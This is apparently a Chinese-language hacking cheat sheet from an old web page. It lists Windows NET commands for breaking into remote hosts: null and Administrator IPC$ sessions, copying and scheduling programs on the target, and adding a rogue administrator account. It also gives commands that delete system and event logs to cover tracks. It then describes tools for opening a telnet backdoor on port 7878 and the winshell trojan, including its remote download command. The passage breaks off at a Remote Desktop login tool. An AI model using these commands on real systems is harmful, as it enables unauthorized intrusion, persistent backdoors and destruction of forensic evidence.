常用的几条NET命令: (与远程主机建立空管连接) net use \\IP地址\ipc$ "" /use:"" (以管理员身份登录远程主机) net use \\IP地址\ipc$ "密码" /use:"Administrator" (传送文件到远程主机WINNT目录下)copy 本机目录路径\程序 \\IP地址\admin$ (查看远程主机时间) net time \\IP地址 (定时启动某个程序) at \\IP地址 02:18 readme.exe (查看共享) net view \\IP地址 (查看netbios工作组列表) nbtstat -A IP地址 (将远程主机C盘映射为自己的F盘) net use f: \\IP地址\c$ ""/user:"Administrator" (这两条把自己增加到管理员组): net user 用户名 密码 /add net localgroup Administrators 用户名 /add (断开连接) net use \\IP地址\ipc$ /delete 扫尾: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log 一、netsvc.exe 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务: netsvc /list \\IP地址 netsvc schedule \\IP地址 /query netsvc \\IP地址 schedule /start 二、OpenTelnet.exe 远程启动主机的Telnet服务,并绑定端口到7878,例如: OpenTelnet \\IP地址 用户名 密码 1 7878 然后就可以telnet到主机的7878端口,进入DOS方式下: telnet IP地址 7878 三、winshell.exe 一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令: p Path (查看winshell主程序的路径信息) b reBoot (重新启动机器) d shutDown (关闭机器) s Shell (执行后你就会看到可爱的“C:\>”) x eXit (退出本次登录会话,此命令并不终止winshell的运行) CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上) 四、3389登陆器,GUI方式登录远程主机的 关键词:看招、网管、黑客、网页制作模块下载、网站推广方案、网页设计美工教程 |